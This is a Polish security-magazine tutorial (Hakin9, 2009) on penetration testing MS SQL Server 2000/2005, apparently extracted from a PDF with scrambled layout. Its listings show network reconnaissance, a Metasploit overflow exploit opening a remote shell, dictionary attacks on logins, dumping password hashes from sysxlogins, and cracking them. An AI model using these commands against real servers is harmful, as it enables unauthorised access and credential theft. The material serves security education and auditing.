ATAK Test penetracyjny MS SQL Server
GRZEGORZ GAŁĘZOWSKI
Stopień trudności
Ci, którzy szukają sposobu na uzyskanie nielegalnego dostępu do bazy danych wykorzystają dowolny słaby punkt systemu. Ze wszystkich znanych technologii na świecie, żadna nie podlega takiej ciągłej obserwacji i atakom, jak bazy danych.
I
Z ARTYKUŁU DOWIESZ SIĘ jak zdalnie analizować systemy z rodziny SQL Server; poznasz metody łamania haseł w SQL Server 2000 i 2005; jak wykorzystywać narzędzia audytowe.
CO POWINIENEŚ WIEDZIEĆ znać podstawy obsługi MS SQL Server 2000 i 2005; sprawnie posługiwać się programami z poziomu linii poleceń; posiadać podstawy obsługi systemu MS Windows i Linux. 20
HAKIN9 7-8/2009
stnieje bardzo wielkie ryzyko, że dane z baz danych mogą wpaść w niepowołane ręce. Aby się przed tym uchronić, przedsiębiorstwa są zmuszane do nieustannej analizy zastosowanych ustawień polityki bezpieczeństwa dla pakietów oprogramowania i własnych aplikacji. Microsoft SQL Ser ver to popularne i niezawodne środowisko dla wielu aplikacji, które korzystają z baz danych – w połączeniu z dużą elastycznością, daje sporo możliwości. Niestety, jeśli taki potencjał nie zostanie odpowiednio zabezpieczony, wykorzystywany może być w niewłaściwy sposób. Ten artykuł ma na celu określenie pewnych rodzajów ryzyka, które mogą wynikać z niewłaściwego zarządzania Microsoft SQL Server. SQL Ser ver domyślnie pozwala wszystkim użytkownikom na dostęp do głównej bazy danych, która zawiera wszystkie ustawienia dla programu, w tym także wszystkie informacje, które SQL Ser ver wykorzystuje do otwarcia bazy danych. Zawiera także wszystkie identyfikator y logowania SQL, danych z podłączonych serwerów itp. Oczywiście podstawowi użytkownicy nie mają dostępu do wszystkich zasobów informacyjnych. Niemniej jednak nazwy kont i baz danych (w tym informacji przechowywanych na nich) mogą być dostępne nieuprzywilejowanym użytkownikom. W niniejszym artykule pokazane zostaną najczęstsze błędy baz danych i ich usług,
omówione metody identyfikacji i wykorzystania ich przy użyciu narzędzi dostępnych z poziomu systemu Linux i Windows. Case studies (czyli korzystanie z otwartych i zamkniętych narzędzi audytowych) będzie oferować czytelnikowi wszechstronne podejście do korzystania z narzędzi i technik przedstawionych w tym artykule. Wiedza zdobyta na praktycznych przykładach może być bezpośrednio stosowana w odniesieniu do świata rzeczywistego. Wszyscy, którzy będą chcieli przeprowadzać testy na bazach danych, muszą najpier w poznać podstawowy zestaw narzędzi i technologii potrzebnych do skutecznego audytu. Po pier wsze, podstawowe pojęcia: definicję bazy danych oraz poszczególnych części składowych typowego systemu zarządzania bazami danych. Następnie kilka cech powszechnie używanego systemu zarządzania bazami danych jakim jest Microsoft SQL Ser ver, w tym jego domyślne konta użytkowników, a także jego strukturę. W końcowej fazie szczegóły techniczne instalacji bazy, w tym domyślne porty, protokoły oraz inne informacje ważne dla testów penetracyjnych.
Podstawowe pojęcia
Czym jest baza danych i jak się różni od systemu zarządzania bazą danych? Baza danych jest
TEST PENETRACYJNY MS SQL SERVER uporządkowanym zbiorem informacji, któr y związany jest w zorganizowany sposób. System zarządzania bazą danych jest programem komputerowym używanym do uzyskiwania dostępu, zarządzania i aktualizacji informacji w bazie danych. Od tego miejsca, aż do końca artykułu, będą stosowane terminy systemu zarządzania bazy danych i baz danych zamiennie, by odnieść się do terminu bazy danych i systemu zarządzania bazą danych.
Instalacja bazy danych
Zrozumienie tego, co się dzieje, po zainstalowaniu bazy danych jest ważne dla zrozumienia sposobu podejścia do badań, nad strukturą systemu bazy danych. Instalowanie bazy danych jest podobne do instalowania innych programów. Potrzeby bazy danych są unikalne i często oprogramowanie bazy danych jest tylko aplikacją zainstalowaną na serwerze lub stacji roboczej. Stworzenie rzeczywistej bazy danych wymaga szczególnej uwagi i wiedzy. Różne systemy w tym i SQL Server mają funkcje do tworzenia bazy danych za pomocą kreatora, za pomocą skr yptów lub też ręcznie. Kiedy baza danych jest tworzona, wraz z nią tworzone są konta domyślnych użytkowników, ich role i uprawnienia. Administrator bazy danych powinien zabezpieczyć wiele ze wspomnianych, domyślnych elementów już w momencie tworzenia. Zabezpieczenie baz danych jest trudniejsze, niż większości innych systemów. Jeśli baza danych jest produkcyjna, naprawa lub wykonanie zabezpieczeń może spowodować, że przestanie ona działać prawidłowo. Ważne jest, by wymogi bezpieczeństwa były wbudowane w system w tym samym
Rysunek 1. Dodawanie hashy do programu Cain&Abel
czasie, co wymagania funkcjonalne bazy danych. Jeśli programista lub administrator buduje bazę danych korzystając z domyślnych ustawień, bez żadnych wskazówek z zakresu wymogów bezpieczeństwa, to takie bazy danych mogą posiadać wiele funkcji, które będą ją upośledzać pod względem bezpieczeństwa.
Użytkownicy Microsoft SQL Server
W SQL Server tworzone jest konto o nazwie sa, czyli administratora systemu programu SQL Server, właściciela bazy danych (dbo) i wszystkich baz danych na serwerze SQL. Konto logowania sa jest podłączone do roli sysadmin. Jest to również dbo dla wszystkich baz danych. To konto domyślnie przyznaje wszystkie
Listing 1. Skanowanie nmap z opcją -sL gsg ~ # nmap -sL 10.0.0.210-215 Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 13:12 GMT Host 10.0.0.210 not scanned Host 10.0.0.211 not scanned Host mssql2000.pl (10.0.0.212) not scanned Host mssql2005.pl (10.0.0.213) not scanned Host 10.0.0.214 not scanned Host 10.0.0.215 not scanned Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.012 secondes gsg ~ #
Tabela 1. Stałe role bazy danych w SQL Server Wbudowana rola bazy danych
Uprawnienia na poziomie bazy danych
db_accessadmin
Przyznane: ALTER ANY USER, CREATE SCHEMA
db_accessadmin
Przyznana opcja GRANT: CONNECT
db_backupoperator
Przyznane: BACKUP DATABASE, BACKUP LOG, CHECKPOINT
db_datareader
Przyznane: SELECT
db_datawriter
Przyznane: DELETE, INSERT, UPDATE
db_ddladmin
Przyznane: ALTER ANY ASSEMBLY, ALTER ANY ASYMMETRIC KEY, ALTER ANY CERTIFICATE, ALTER ANY CONTRACT, ALTER ANY DATABASE DDL TRIGGER, ALTER ANY DATABASE EVENT, NOTIFICATION, ALTER ANY DATASPACE, ALTER ANY FULLTEXT CATALOG, ALTER ANY MESSAGE TYPE, ALTER ANY REMOTE SERVICE BINDING, ALTER ANY ROUTE, ALTER ANY SCHEMA, ALTER ANY SERVICE, ALTER ANY SYMMETRIC KEY, CHECKPOINT, CREATE AGGREGATE, CREATE DEFAULT, CREATE FUNCTION, CREATE PROCEDURE, CREATE QUEUE, CREATE RULE, CREATE SYNONYM, CREATE TABLE, CREATE TYPE, CREATE VIEW, CREATE XML SCHEMA COLLECTION, REFERENCES
db_denydatareader
Zabronione: SELECT
db_denydatawriter
Zabronione: DELETE, INSERT, UPDATE
db_owner
Przyznana opcja: GRANT: CONTROL
db_securityadmin
Przyznane: ALTER ANY APPLICATION ROLE, ALTER ANY ROLE, CREATE SCHEMA, VIEW DEFINITION 7-8/2009 HAKIN9
21
ATAK przywileje i uprawnienia na bazy danych i można dzięki niemu także wykonywać polecenia systemowe na serwerze SQL. Kiedy tworzone jest konto nowego użytkownika SQL Ser ver, administratorzy (DBA) muszą zadbać o przydział odpowiednich przywilejów i ról dla takiego użytkownika. Można także skonfigurować SQL Server do używania uwierzytelniania użytkowników systemu Windows tylko
lub w połączeniu z SQL Server, któr y to tr yb nazywa się tr ybem uwierzytelniania mieszanego. Gdy nowe konto jest tworzone, użytkownik może uwierzytelniać się do bazy i pracować na niej w granicach swoich uprawnień i funkcji. Tr yb uwierzytelniania systemu Windows ułatwia pracę użytkownikowi, ponieważ ma on do zapamiętania tylko jedno hasło, ale to może również stworzyć potencjalne luki. Jeśli uwierzytelnianie dla
Listing 2. Skanowanie z wykorzystaniem Nmap gsg ~ #nmap -sL 10.0.0.210-215 Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:30 GMT Host 10.0.0.210 not scanned Host 10.0.0.211 not scanned Host mssql2000.pl (10.0.0.212) not scanned Host mssql2005.pl (10.0.0.213) not scanned Host 10.0.0.214 not scanned Host 10.0.0.215 not scanned Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.021 seconds
Listing 3. Skanowanie Nmap gsg ~ #nmap -sSUV -P0 -T4 -pT:1433,U:1434 10.0.0.213 Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:35 GMT Interesting ports on mssql2005.pl (10.0.0.213): PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s? 1434/udp open ms-sql-m Microsoft SQL Server 0.00.1399.06 (ServerName: MSSQL2005; TCPPort: 1433) MAC Address: 00:0C:31:DF:5A:01 Service Info: OS: Windows Service detection performed. Please report any incorrect results at http:// insecure.org/nmap/submit/ Nmap finished: 1 IP address (1 host up) scanned in 26.834 seconds
Listing 4. NetViewX używanie komend C:\cmd>NETVIEWX.EXE -h Usage:netviewx [-D domain] [-T type...] [-0 format : -x] [-t | -c x] [-C x] Lists current nodes in a domain that matches servers running specific services. Version: v0.5 19990203. -D domain The domain to list. Default is the current domain. -T type... The service types to match, Can be one or more of: workstation, server, sqlserver,domain_ctrl, domain_bakctrl, time_source, afp, novell, domain_member, printing_server, dialin_server, server_mfpn, server_nt, server_osf, server_unix, nt, wfw, potential_browser, backup_browser, master_browser, domain_master, server_vms, windows, dfs, cluster_nt, dce, alternate_xport, local_list_only, domain_enum, all. Default is all. -0 format Selects the fields to list for the servers. The format should be a string of letters, where: n=name, m=major version, i=minor version, p=platform id, T=service types, C=comment in quotes, c=comment witch major and minor version. Default is nmipTC. -x A shorthand for -0nsvtc -c " " -C + -t Separate fields with tabs. Default is comma (,). -c x separate fields with the character x. -C x Separate the server types with the character x. Default is to separate the types with x. C:\cmd>NETVIEWX.EXE -D gsgcorp -T sqlserver MSSQL2000,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser%master_ browser%2000000,"" MSSQL2005,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser %2000000,""
22
HAKIN9 7-8/2009
użytkownika Windows będzie naruszone i baza danych używa właśnie takiego typu uwierzytelniania, to dostęp do bazy danych będzie bezproblemowy. Z punktu widzenia bezpieczeństwa jest to bardzo duże zagrożenie.
SQL Server – role i uprawnienia
Microsoft SQL Server ma uproszczone zarządzanie uprawnieniami poprzez tworzenie ról. Aby pomóc administratorom w tworzeniu, modyfikowaniu, usuwaniu i sprawdzaniu kont SQL Server wyposażony jest w zestaw wbudowanych ról bazy danych. Można je wykorzystać także do grupowania użytkowników. Do grupowania użytkowników, mających te same potrzeby dostępu, można również utworzyć własne role bazy danych i przypisać uprawnienia grupom zamiast poszczególnym użytkownikom.
SQL Server procedury przechowywane i rozszerzone W procedurach przechowywanych znajdują się fragmenty kodu napisane w języku Transact-SQL (T-SQL), które są udostępniane do dalszego wykorzystania. Przykładem przydatnej procedury jest sp _ addlogin , która to stosowana jest w celu utworzenia nowego użytkownika. Rozszerzone procedury są podobne do procedur przechowywanych, chyba że zawierają linki bibliotek dynamicznych (DLL). Rozszerzone procedury uruchamiania SQL Server służą do zwiększenia funkcjonalności bazy danych na serwerze. Jedną z rozszerzonych procedur przydatną przy testach penetracyjnych jest xp _ cmdshell , która pozwala użytkownikowi na wykonanie polecenia w powłoce systemu operacyjnego Windows. Jak widać, procedury składowane w SQL Server mogą znacznie poprawić możliwości bazy danych. Jednakże mogą one także tworzyć poważne luki w zakresie bezpieczeństwa.
Komunikacja Gdy baza danych jest już zainstalowana, użytkownik musi mieć możliwość podłączenia się do niej by móc jej używać.
ATAK Do komunikacji wykorzystywany jest protokół TCP (Transmission Control Protocol) i UDP (User Datagram Protocol). Domyślnie SQL Server wykorzystuje port TCP 1433 do połączenia z bazą danych. Ten port może być oczywiście zmieniony, ale zwykle nie jest. Większość może wiedzieć, jaki jest domyślnie wykorzystywany port TCP dla programu SQL Server, ale wielu może nie zdawać sobie sprawy, że port UDP jest także silnie związany z bazą danych. Port UDP 1434 umożliwia klientom przeglądanie bazy. Port ten może stać się celem ataku dla wielu robaków i może być wykorzystany do ataku typu przepełnienia buforu. Firma Microsoft wydała poprawkę do tego problemu, ale nadal można znaleźć tę lukę w wielu środowiskach.
Korzystanie z otwartych i zamkniętych narzędzi audytowych
Pierwszym krokiem w przeprowadzeniu wszelkich testów penetracyjnych jest odkr ycie, jakie porty są otwarte na danym hoście, a także powiązanych z nimi usług. W następnych kilku krokach wskazane będą metody identyfikacji Microsoft SQL Ser ver. DNS (Domain Name System) jest procesem rozwiązywania nazw hostów z adresów IP (Internet Protocol). Opisowe nazwy mogą ujawnić wiele informacji, takie jak rodzaj systemu operacyjnego i usług uruchomionych na danym systemie. Listing 1 pokazuje popularny skaner portów Nmap za pomocą którego można wykonać skanowanie (z opcją -SL), pokazany jest tu zakres adresów IP do nazw hosta. Wynik skanowania z wykorzystaniem skanera Nmap zwrócił listę adresów IP, zwróci także rozwiązaną nazwę mssql2000 i mssql2005. Można określić z uzyskanych wyników, że istnieje wysokie prawdopodobieństwo, że pod adresem 10.0.0.212 jest uruchomiony program Microsoft SQL Ser ver 2000, a pod adresem 10.0.0.213 jest uruchomiony program Microsoft SQL Ser ver 2005.
Skanowanie portów TCP i UDP
Skanowanie portów to działanie polegające na wysyłaniu pakietów TCP
TEST PENETRACYJNY MS SQL SERVER lub UDP do systemu celem sprawdzenia otwartych portów i dostępnych serwisów. Skanowanie sieci, można przeprowadzić właśnie takim programem jak Nmap, któr y pomaga określić, jakie hosty są aktywne i jakie porty TCP i UDP są na nich otwarte. Na Listingu 2 i Listingu 3 wykonane zostało skanowanie z wykorzystaniem Nmap w poszukiwaniu serwera Microsoft SQL i domyślnych portów TCP i UDP (patrz Ramka Port Number Service Service Description), korzystając z opcji opisanych w Ramce Opis opcji Nmap. Nmap przedstawił informacje na temat wersji serwera i wykorzystywanych portów, w tym także informację o MAC adresie. Korzystając z Nmap można także określić dokładnie jaka jest to wersja serwera, a także czy i jakie
zainstalowane są dodatki typu Service Pack. Pomocna przy określaniu wersji serwera będzie Ramka Publikacje wersji Sqlservr.exe, w której są wymienione różne wersje sqlserv.exe
NetBIOS i protokół Server Message Block (SMB)
W systemach Microsoft Windows Server jak i w stacjach roboczych informacje o zarejestrowanych usługach zintegrowane są z główną przeglądarką. NetViewX (www.ibt.ku.dk/jesper/NetViewX/ ) oraz MBEnum (www.cqure.net/wp/?page_ id=20 ). Są to dwa programy, które mogą być wykorzystane do odpytania głównej przeglądarki i uzyskania tą drogą informacji o zarejestrowanych usługach. Analiza systemu Microsoft SQL Server z wykorzystaniem protokołu
Listing 5. Używanie programu MBEnum C:\cmd\mbenum MBEnum v.1.5.0 by patrik@cqure.net ---------------------------------------------mbenum [-s \\server] [-d don ] [-f filter] -p <mode> Presentation modes: 1 - by server 2 - by service 3 - by service vertically c:\cmd>mbenum.exe -d gsgcorp -f "SQL Server" -p 1 MBEnum v.1.5.0 by patrik@cqure.net Name: MSSQL2005 Services: Server, Workstation, SQL Server, Term, server, Member server Comment: OS Version: Windows 2003 Server Name: MSSQL2000 Services: Server, Workstation, SQL Server, Master browser, Term, server, Member server Comment: OS Version: Windows 2003 Server
Listing 6. Rozwiązywanie nazw NetBIOS na adresy IP z wykorzystaniem nmblookup gsg ~ # nbmlookup MSSQL2000 querying MSSQL2000 on 10.0.0.255 10.0.0.212 MSSQL2000<00> gsg ~ # nmblookup MSSQL2005 querying MSSQL2005 on 10.0.0.255 10.0.0.213 MSSQL2005<00>
Listing 7. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN) gsg ~ # cd /pentest/exploits/framework3/ gsg framework3 #svn update
Listing 7a. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN) gsg framework3 # ./msfcli |grep -i mssql exploit/windows/msql/ms02_039_slammer exploit/windows/mssql/ms02_056_hello auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mssql/mssql_ping
Microsoft SQL Server Resolution Overflow Microsoft SQL Server Hello Overflow MSSQL Login Utility MSSQL Ping Utility
7-8/2009 HAKIN9
23
ATAK SMB jest bardzo szybka i przy tym w sumie niewykr ywalna (wygląda to tak jak przy normalnej pracy z SMB) możemy odkr yć, usługi ustawione na słuchanie na domyślnym porcie TCP (1433/tcp) chronione przez firewall lub w przypadku niektór ych wersji, gdy usługa nie ma zezwolenia na zdalne połączenie. Listingi 4 i 5 ilustrują właściwe użycie poleceń i wykonanie odpowiednio programu NetViewX i MBEnum. W tych przykładach, odpytywana jest domena gsgcorp z Microsoft SQL Ser vers 2000 i 2005.
W obydwu przykładach wyniki zapytania zawierają nazwy NetBIOS (MSSQL2000 i MSSQL2005) i nie mają powiązanych z nimi adresów IP. Jak widzimy na Listingu 6 można użyć narzędzia nmblookup, które rozwiąże nazwy NetBIOS na adresy IP. Po wykryciu bazy danych i serwera docelowego, następnym krokiem jest identyfikacja słabych punktów w usługach. Przydatnym narzędziem do tego celu będzie Metasploit Framework. Jest to
Rysunek 2. Hashe wprowadzone do programu Cain&Abel
Port Number Service Service Description 1433/tcp ms-sql-s Microsoft-SQL-Server 1434/udp ms-sql-m Microsoft-SQL-Monitor
Opis opcji Nmap • • • • • •
sS skanowanie TCP SYN sU skanowanie UDP sV sprawdzanie systemu w celu odkrycia otwartych portów, określenia usług i pozyskanie informacji o ich wersjach, P0 Skanuj wszystkie hosty dostępne online T4 ustaw czas szablonu (im wyższy tym jest szybszy) pT:1433,U:1434 zakres portów. Podczas skanowania obu portów TCP i UDP, można określić konkretny protokół poprzedniego numeru portu przez T: lub U:.
pakiet, który rozwijany jako platforma do tworzenia narzędzi wykrywających luki systemowe, wykorzystuje także możliwości skanera Nessus.
Metasploit Framework 3
Program ten umożliwia pracę zarówno z linii poleceń oraz w środowisku graficznym. Warto pamiętać o aktualizacji systemu MF3 (Listing 7). Użyjemy teraz konsoli msfcli i narzędzia wyszukiwawczego grep by odnaleźć dostępne exploity dla Microsoft SQL Server (Listing 7). Gdy już wszystko jest ustalone, wiadomo które exploity będą wykorzystane przeciwko Microsoft SQL, warto uzyskać szczegółowe informacje na ich temat, korzystając z informacji zbiorczych polecenia S. Można również wykorzystać flagę E z odpowiednimi parametrami RHOSTS dla badanego elementu. Listing 8 i 9 demonstruje sposób praktycznego wykorzystania omówionych elementów do wyświetlenia szczegółowych informacji na temat wybranych elementów. Można zauważyć, że wykorzystanie wybranego exploita jest przeznaczone dla Microsoft SQL Server 2000 z dodatkiem Service Pack 2 i starszym. Badanie SQL Server dostępnego pod adresem IP 10.0.0.212 ukazuje podatność na wykorzystanie tego exploita. Narzędzie ping wykryło, że Microsoft SQL uruchomiony został w wersji 8.00.194. Na Listingu 10 widać, że jest to wersja która poprzedza Service Pack 1.
Atak na autentykację Microsoft SQL Server
W celu uwierzytelnienia się do programu Microsoft SQL Server potrzebna jest
Publikacje wersji Sqlservr.exe Released to Manufacturing (RTM) 2000.80.194.0 SQL Server 2000 Service Pack 1 2000.80.384.0 SQL Server 2000 Service Pack 2 2000.80.534.0 SQL Server 2000 Service Pack 3 2000.80.760.0 SQL Server 2000 Service Pack 3a 2000.80.760.0 SQL Server 2000 Service Pack 4 2000.8.00.2039 SQL Server 2005 Service Pack 1 2005.90.2047 SQL Server 2005 Service Pack 2 2005.90.3042
24
HAKIN9 7-8/2009
Rysunek 3. Atak słownikowy na instancję Microsoft SQL Server 2005
TEST PENETRACYJNY MS SQL SERVER znajomość nazwy użytkownika i hasła. Jedną z metod uzyskania dostępu do oprogramowania Microsoft SQL Ser ver, jest wykonanie ataku słownikowego z wykorzystaniem wspólnej nazwy dla użytkownika i hasła.
Listing 8. Uzyskanie szczegółowych informacji z wykorzystaniem parametru S gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S
Name: MSSQL Login Utility Version: 4749
Tryb uwierzytelniania Windows NT Authentication Mode
Provided by: MC y0@w00t-shell.net
Domyślnie członkowie lokalnych grup administratorów w systemie Windows mają prawa administratora systemu Microsoft SQL Ser ver. Nazwa użytkownika i hasło nie są przechowywane w Microsoft SQL Ser ver.
Basic options: Name Current Setting
Tryb mieszany (najczęściej spotykany) W tr ybie mieszanym wspierane jest zarówno uwierzytelnianie systemu Windows i uwierzytelnianie ze strony SQL Serwer. Tr yb ten nie jest domyślny. Jego powszechne stosowanie wynika z problemów ze zgodnością z niektór ymi aplikacjami wymagającymi programu Microsoft SQL Ser ver lub też wymagane jest uwierzytelnianie przez użytkownika sa. Nazwy użytkowników i hasła są przechowywane w Microsoft SQL Ser ver.
Hasła w Microsoft SQL Server – wytyczne Dla zagwarantowania większego bezpieczeństwa należy wprowadzić politykę wymuszania haseł dla standardowego logowania. W SQL Server można wprowadzić politykę Microsoft Windows dla standardowego logowania, tak żeby spójne zasady zostały zastosowane do wszystkich kont w domenie. Wymuszanie haseł musi być ręcznie skonfigurowane, zgodnie z polityką systemu operacyjnego. W SQL Ser ver 2005 dostępne są następujące obszar y wymuszania polityki haseł: • • •
siła hasła; wygasanie haseł; blokady kont.
Domyślnie sprawdzana jest polityka haseł. Mechanizm haseł kontroluje także hasła aplikacji klienckich, dlatego też połączenia aplikacji mogą być sprawdzone pod względem siły haseł.
------
Required
------------------
RHOSTS RPORT 1433 THREADS 1
Description ----------
--------------
yes The target address range or CIDR identifier yes The target port yes The number of concurrent threads
Description: This module simply queries the MSSQL instance for a null SA account. gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E [*] Target 10.0.0.212 does have a null sa account... gsg framework3 ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E [*] Target 10.0.0.212 does have a null sa account...
gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S
Name: MSSQL Login Utility Version: 4749 Provided by: MC y0@w00t-shell.net Basic options: Name Current Setting ------
------------------
RHOSTS THREADS
Required
1
identifier yes
yes
Description ----------
--------------
The target address range or CIDR The number of concurrent threads
Description: This module simply queries the MSSQL instance for information.
gsg [*] [*] [*] [*] [*] [*]
framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.212 E SQL Server information for 10.0.0.212: tcp =1433 np = \\MSSQL2000\pipe\sql\query Version = 8.00.194 IsClustered = No InstanceName = MSSQLSERVER
gsg [*] [*] [*] [*] [*] [*] gsg
framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.213 E SQL Server information for 10.0.0.213: tcp = 1433 Version =9.00.1399.06 ServerName =MSSQL2005 IsClustered =No InstanceName =MSSQLSERVER framework3 #
7-8/2009 HAKIN9
25
ATAK Złożoność hasła jest definiowana kilkoma elementami: • •
•
hasło musi zawierać co najmniej sześć znaków; hasło musi zawierać przynajmniej trzy z czterech typów znaków: wielkie litery, małe litery, cyfry i znaki niealfanumeryczne; hasło nie może mieć wartości: Admin, Administrator, Password, sa, sysadmin, nazwy komputera zawierającego instalację SQL Server i całej lub części nazwy aktualnie zalogowanego konta Windows.
Wygasanie haseł jest określone przez wartość Maksymalny okres ważności hasła ustawienia polityki grupowej, podczas gdy blokada zależy od wartości przypisanej do opcji: Czas trwania blokady konta, Próg blokady konta i Wyzeruj liczniki blokady konta po.
Audyt SQL Tools (SQLAT) Audyt SQL Tools (SQLAT) jest zestawem narzędzi stworzonych przez Patrika Karlssona. SQLAT zawiera różne narzędzia do wykonywania ataków słownikowych, uploadu plików na serwer SQL, tworzenia zrzutu pliku SAM (z
wykorzystaniem pwdump2). Dostępne jest także narzędzie do minimalnej analizy programu SQL Server z generowaniem raportów w formie HTML. Narzędzie to czasowo przywraca funkcję xp _ cmdshell, gdy jest ona wyłączona. SQLAT jest oparty na bibliotece freetds i od wersji 1.0.6 wspiera system logowania NTLM list narzędzi dostępnych w zestawie: •
• Listing 9. Uzyskanie szczegółowych informacji na temat exploita ms02 _ 056 _ hello gsg framework3 # ./msfcli exploit/windows/mssql/ms02_056_hello S Name: Microsoft SQL Server Hello Overflow Version: 4498 Platform: Windows Privileged: Yes License: Metasploit Framework License Provided by: MC y0@w00t-shell.net Available targets: Id Name -- ------0 MSSQL 2000 / MSDE <= SP2 Basic options: Name Current Setting Required Description ----------------------------------- ------------RHOST yes The target address RPORT 1433 yes The target port Payload information: Space: 512 Avoid: 1 characters Description: By sending malformed data to TCP port 1433, an unauthenticated remote attacker vould overflow a buffer and possibly execute code on the server with SYSTEM level privileges. This module should work against any vulnerable SQL Server 2000 or MSDE install (< SP3). References: http://www.securityfocus.com/bid/5411 http://cvd.mitre.org/cgi-bin/cnename.cgi?name=2002-1123 http://www.microsoft.com/technet/security/bulletin/MS02-056.mspx http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-1123 http://milw0rm.com/metsploit/43
Listing 10. Wykonanie exploit’a Microsoft SQL Server Hello Overflow gsg framework3 # ./msfcli exploit/windows/mssql/ms02_56_hello PAYLOAD=generic/shell_ bin_tcp TARGET=0 RHOST=10.0.0.212 E [*] Started bind handler [*] Command shell session 1 opened (10.0.0.211:2614 -> 10.0.0.212:4444) Microsoft Windows 2000 [Version 5.00.2195] (c) Copyright 1985 - 1999 Microsoft Corp. C:\WINNT\system32>exit gsg framework3 #
26
HAKIN9 7-8/2009
• • •
• • • •
sqlanlz tworzy raporty analityczne w języku HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur z Microsoft SQL Server. sqldict wykonuje atak słownikowy na Microsoft SQL Server. sqldirtree wyświetla ASCII katalogów z bazy katalogu. sqldumplogins robi zrzuty kont użytkowników z SQL Server. sqlquer y interaktywne narzędzie linii poleceń umożliwiające dostęp do poleceń SQL. sqlregenumkey wylicza określony klucz rejestru. sqlreggetvalue wymienia wartości dla konkretnego klucza rejestru. sqlsamdump używa programu pwdump2 do zrzutu pliku SAM. sqlupload ładuje pliki do Microsoft SQL Server.
W Listingu 12 narzędzie sqldict jest używane do przeprowadzenia ataku słownikowego na mechanizmy uwierzytelniania SQL Server 2000 i 2005. W przypadku tego ataku korzystać można z nazw użytkowników i haseł utworzonych specjalnie na potrzeby testu (Ramka Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testu). Po uprzywilejowanym dostępie do programu Microsoft SQL Server za pomocą exploita lub po udanym ataku słownikowym, można dodać pomyślnie złamane konto do własnego słownika. Te nowo uzyskane konto umożliwia dostęp do dodatkowych kont.
Microsoft SQL Server 2000
Microsoft SQL Server 2000 przechowuje swoje konta w bazie danych master. Hasła są generowane za pomocą funkcji pwdencrypt () w postaci hashów
TEST PENETRACYJNY MS SQL SERVER z użyciem algor ytmu SHA-1 w tabeli sysxlogins. W Microsoft SQL Ser ver 2000 można pobrać nazwę użytkownika i hasło (hash) przy użyciu następującego zapytania SQL: select name, password from
master.sysxlogins
Na Listingu 12 narzędzie FreeTDS tsql jest użyte do wysyłania zapytania do SQL Ser ver 2000. Nazwy użytkownika i hasła przechowywane są w tabelach sysxlogins w głównej bazie danych. Poświadczenia kont muszą być odpowiednio sformatowane (username, <password hash>) tak, aby mogły być stosowane jako wkładka dla narzędzia SQLPAT.
Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testu gsg ~ # cat users.txt sa probe openview ovms_admin ovdb_user bbsd-client netiq public test admin sysadmin gsg ~ # cat passwords.txt openview ovms ovdb changene2 netiq sa sasa sasasa public grzegorz test testtest admin sysadmin changename password password!
gsg ~ # cat mssql2000-hashes.txt gsg
01bf4593b3bb30b0f345345b3n
43494nf3n402455b3n43494nf33942356b e234eb
grzegorz 934n343b29294593b3bb30b0f nn9994n3023942356be4n343b2994593b3 bb230
Na Listingu 13 SQLPAT został pobrany za pomocą wget do lokalnej instancji, następnie rozpakowany, skompilowany
by ostatecznie zostać uruchomiony, co skutkuje wyświetleniem zrzutu hasła przez aplikację. Atak słownikowy jest kompletny, widać, że hashe hasła użytkownika gsg nie zostały złamane. Następnym krokiem będzie wykorzystanie sqlbf w tr ybie Brute Force by odczytać zawartość pozostałych hashy. Listing 15 pokazuje hash hasła użytkownika gsg ekstrahowane do nowego
Listing 11. Atak słownikowy na konta ze słabymi hasłami gsg ~ # sqldict SQLDICT v1.0.0 by patrik@cqure.net ---------------------------------------------usage: sqldict [options] -i* <ip|ipfile> to probe -t port (default 1433) -u* <userfile> -p* <dicfile> -r <reportfile> -v verbose gsg ~ # sqldict -i 10.0.0.212 -t 1433 -u users.txt -p passwords.txt IP: 10.0.0.212 User: sa Pass: gsg ~ # sqldict -i 10.0.0.213 -t 1433 -u users.txt -p passwords.txt IP: 10.0.0.213 User: sa Pass: grzegorz
Listing 12. Wykorzystanie FreeTDS tsql do pobierania hashy użytkowników magazynowanych w bazie danych gsg ~ # echo -e "select name, password from master..sysxlogins \n go" | \ > tsql -H 10.0.0.212 -p 1433 -U sa -P "" 1> 2> name password BUILTIN\Administrators NULL gsg 01bf4593b3bb30b0f345345b3n43494nf3n402455b3n43494nf33942356be234eb grzegorz 934n343b29294593b3bb30b0f nn9994n3023942356be4n343b2994593b3bb230 sa NULL NULL NULL
Listing 13. Pobieranie, kompilowanie i wykonywanie SQLPAT w trybie słownikowym gsg ~ # wget -q http://www.cqure.net/tools/sqlgf-all-src-1.0.1.zip; unzip -qq sqlbfall-src-1.0.1.zip gsg ~ # cd sqlbf; make -is 2> /dev/null; ls ./bin; ./bin/sqlbf; cd .. sqlbf* MS SQL Server Password Auditing Tool Version 1.0.1 ---------patrik.karlsson@se.pwcglobal.com--------------usage: ./bin/sqlbf -u [options] Options: -c <csfile> -the character set -d <dictionary> - the dictionary file -u <userfile> -the user & hash file -r <reportfile> -the report file gsg ~ #./sqlbf/bin/sqlbf -d dict.txt -u mssql2000-hashes.txt Starting Dictionary attack on hashes ... Press <space> for statistics <q> to Quit User: grzegorz Pw:password Time elapsed : 0.0000000 seconds. Approx. guesses per second : inf
7-8/2009 HAKIN9
27
